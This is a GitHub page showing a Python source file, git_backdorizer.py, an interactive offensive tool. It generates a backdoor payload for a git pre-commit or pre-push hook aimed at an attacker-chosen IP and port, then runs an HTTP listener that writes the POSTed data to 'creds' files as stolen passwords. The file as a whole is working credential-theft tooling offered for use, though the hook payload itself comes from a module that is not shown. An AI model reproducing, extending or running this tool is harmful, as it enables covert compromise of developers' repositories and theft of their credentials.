-
Notifications
You must be signed in to change notification settings - Fork 10
/
git_backdorizer.py
143 lines (121 loc) · 5.16 KB
/
git_backdorizer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import os
import datetime
from conf import menu
from conf.banner import banner
from conf import payload as pl
from prompt_toolkit import prompt
from prompt_toolkit.contrib.completers import WordCompleter
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
filename_creds = 'creds-%s' % datetime.datetime.now().strftime("%Y%m%d%H%M")
file_creds = open('creds/%s' % filename_creds,'a')
file_creds.write(str(body, 'utf-8'))
file_creds.write('\n')
print(str(body, 'utf-8'))
class GitBackdorizer(object):
def __init__(self):
self.main_menu = menu.main
self.gen_menu = menu.gen_backdoor
self.banner = banner()
def listening(self, ip_listening, port_listening):
os.system('clear')
print('\n\n[+] Creds:')
httpd = HTTPServer(("0.0.0.0", int(port_listening)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def write_payload(self, payload_content):
filename = prompt('Set output name: ')
if filename == '':
filename = "output-{}.sh".format(datetime.datetime.now().strftime("%Y%m%d%H%M"))
filename = 'output/{}'.format(filename)
output_payload = open(filename, "w")
output_payload.write(payload_content)
output_payload.close()
return(filename)
def set_config(self):
ip_listening = prompt('Set IP to listening: ')
port_listening = prompt('Set PORT to listening: ')
payload_choice = prompt('Choose into insert payload:\n1 - pre-commit\n2 - pre-push\n:> ')
payload_hook = lambda choice: "pre-commit" if choice == "1" else "pre-push"
payload = payload_hook(payload_choice)
payload_content = pl.generate(ip_listening, port_listening, payload)
filename = self.write_payload(payload_content)
save_config = prompt('Save configuration? [y] [n]\n:> ')
if 'y' == save_config.lower():
output_config = open('conf/conf_payload.conf', 'w')
output_config.write('{}|{}|{}'.format(ip_listening, port_listening, payload))
output_config.close()
elif 'n' == save_config.lower():
pass
print('\n[+] File in output/{}'.format(filename))
listen_response = prompt('Listening backdoor? [y] [n]\n:> ')
if 'y' == listen_response.lower():
self.listening(ip_listening, port_listening)
#pass
else:
self.start()
def get_config(self):
load_file = open('conf/conf_payload.conf', 'r')
ip_listening,port_listening,payload = load_file.readline().split('|')
load_file.close()
payload_content = pl.generate(ip_listening, port_listening, payload)
filename = self.write_payload(payload_content)
print('\n[+] File in output/{}'.format(filename))
listen_response = prompt('Listening backdoor? [y] [n]\n:> ')
if 'y' == listen_response.lower():
self.listening(ip_listening, port_listening)
else:
self.start()
def gen_backdoor(self):
os.system('clear')
print(self.gen_menu)
while 1:
user_input = prompt(':> ')
if '1' == user_input:
self.set_config()
elif '2' == user_input:
self.get_config()
elif 'back' == user_input:
self.start()
else:
os.system('clear')
print('Chose one option')
print(self.gen_menu)
def menu(self):
noob_choice = 0
while 1:
user_input = prompt(':> ')
if '1' == user_input:
self.gen_backdoor()
elif '2' == user_input:
os.system('clear')
choice_load = prompt('Load config? [y] [n]\n')
if 'y' == choice_load.lower():
load_file = open('conf/conf_payload.conf', 'r')
ip_listening,port_listening,payload = load_file.readline().split('|')
load_file.close()
self.listening(ip_listening, port_listening)
elif 'n' == choice_load.lower():
ip_listening = prompt('Set IP to listening: ')
port_listening = prompt('Set PORT to listening: ')
self.listening(ip_listening, port_listening)
elif 'exit' == user_input:
exit()
else:
noob_choice += 1
if noob_choice == 3:
print("Are you dumb?? \nI'll show you again what you have to do:\n")
print("Choose one option\n1 - Generate backdoor\n2 - Listening passwords\nexit - to quit")
def start(self):
try:
os.system('clear')
print(self.banner)
print(self.main_menu)
self.menu()
except KeyboardInterrupt:
exit()
if __name__ == '__main__':
gb = GitBackdorizer()
gb.start()